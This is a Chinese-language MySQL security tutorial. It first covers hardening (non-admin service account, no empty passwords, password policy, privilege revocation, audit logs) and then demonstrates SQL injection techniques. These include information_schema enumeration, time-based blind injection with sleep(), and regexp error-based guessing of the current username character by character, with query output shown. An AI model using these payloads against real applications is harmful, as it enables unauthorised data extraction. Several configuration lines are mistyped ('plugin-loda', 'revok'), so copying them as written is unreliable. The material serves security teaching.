一、MySQL数据库安全管理
1、禁止MySQL以管理员账号权限运行
应使用非管理员账号运行,以普通账户安全运行
加固:在MySQL my.cnf配置文件中应配置user=mysql
2、禁止使用空口令
登录账户:
数据库所有用户都应配置密码,配置语句:
mysql>set password for <user>@'<host>'=password(‘<clear password>’)
更改用户口令:
检查是否有空密码语句:
mysql>select*from mysql.user where user="";
查看结果为空
3、设置密码复杂度:
添加配置信息:
plugin-loda=validate_password.so
validate_password_length 8
validat_password_mixed_case_count 1
validate_password_number_count 1
validate_password_special_char_count 1
validate_password_policy MEDIUM
查看密码复杂度:
密码过期时间小于等于90天:
配置MySQL RDBMS:
全局策略:set global default_password_lifetime=90
4、降低非管理员账户权限
查看用户权限:
mysql> select user,host from mysql.user where file_priv='Y';
mysql> select user,host from mysql.user where process_priv='Y';
只有管理员才有权限,不存在非管理员账号:
如果存在非管理员使用命令进行权限回收:
revok shutdown on *.* from '<user>';
revok create user on *.* from '<user>';
revok grant option on *.* from '<user>';
注:user为非管理员账户
5、配置MySQL日志便于审计
编辑my.cnf文件:
错误日志log_error=/home/mysql.err
二进制日志log_bin=mysql-bin
置慢查询日志slow_query_log=1
通用查询日志general_log=1
更新日志log_slave_updates=1
二、数据库常用命令
1、查看数据库版本:select version();
2、查看日志文件:mysql> show variables like "%log%";
3、 查看用户及host信息mysql> select user,host from mysql.user;
三、SQL查询及破解用户名
information_schema是MySQL自带的数据库,包含MySQL里面说有的库、表、字段的关系结构。
mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 4 rows in set (0.92 sec)
schemata表记录数据库名:
mysql> select schema_name from information_schema.schemata; +--------------------+ | schema_name | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 4 rows in set (0.04 sec)
查看数据库的数据表名:(table表记录数据库对应的数据表名)
mysql> select table_name from information_schema.tables where table_schema='mysql';
查看某数据库表的列名:(column表对应数据表的列名)
mysql> select column_name from information_schema.columns where table_name='user';
SQL查询获取数据库信息:
查询当前数据库、当前用户、当前数据库系统:
mysql> select database(); +------------+ | database() | +------------+ | NULL | +------------+
mysql> select user(); +----------------+ | user() | +----------------+ | root@localhost | +----------------+
mysql> select @@version_compile_os; +----------------------+ | @@version_compile_os | +----------------------+ | Linux | +----------------------+
基于时间的盲注:
以mysql中的db表为例:
正常查询和通过order by加if语句(每做一次查询数据库休眠两秒)的数据库返回结果时间对比:
mysql> select * from db; 2 rows in set (0.15 sec)
mysql> select * from db order by if(1=2,1,sleep(2)); 2 rows in set (4.12 sec)
regexp正则表达:只有字符相同时才返回结果
mysql> select 1 regexp 1; +------------+ | 1 regexp 1 | +------------+ | 1 | +------------+ 1 row in set (0.16 sec) mysql> select 1 regexp 0; +------------+ | 1 regexp 0 | +------------+ | 0 | +------------+ 1 row in set (0.00 sec) mysql> select 1 regexp 4; +------------+ | 1 regexp 4 | +------------+ | 0 | +------------+ 1 row in set (0.00 sec)
利用regexp正则暴力猜解用户名:字符串处理函数substring分割当前用户名,与等号后字母进行判断
当字符不匹配时报错,当字符匹配时返回表内容,通过对字母的遍历可得用户名第一位字母为r,第二位为o,依此顺序破解可得用户名:
mysql> select user from db order by(select 1 regexp if(substring(user(),1,1)='a',1,0x00)); ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp mysql> select user from db order by(select 1 regexp if(substring(user(),1,1)='o',1,0x00)); ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp mysql> select user from db order by(select 1 regexp if(substring(user(),1,1)='r',1,0x00)); +---------------+ | user | +---------------+ | mysql.session | | mysql.sys | +---------------+ 2 rows in set (0.24 sec)
mysql> select user from db order by(select 1 regexp if(substring(user(),2,1)='a',1,0x00)); ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp mysql> select user from db order by(select 1 regexp if(substring(user(),2,1)='m',1,0x00)); ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp mysql> select user from db order by(select 1 regexp if(substring(user(),2,1)='o',1,0x00)); +---------------+ | user | +---------------+ | mysql.session | | mysql.sys | +---------------+ 2 rows in set (0.00 sec)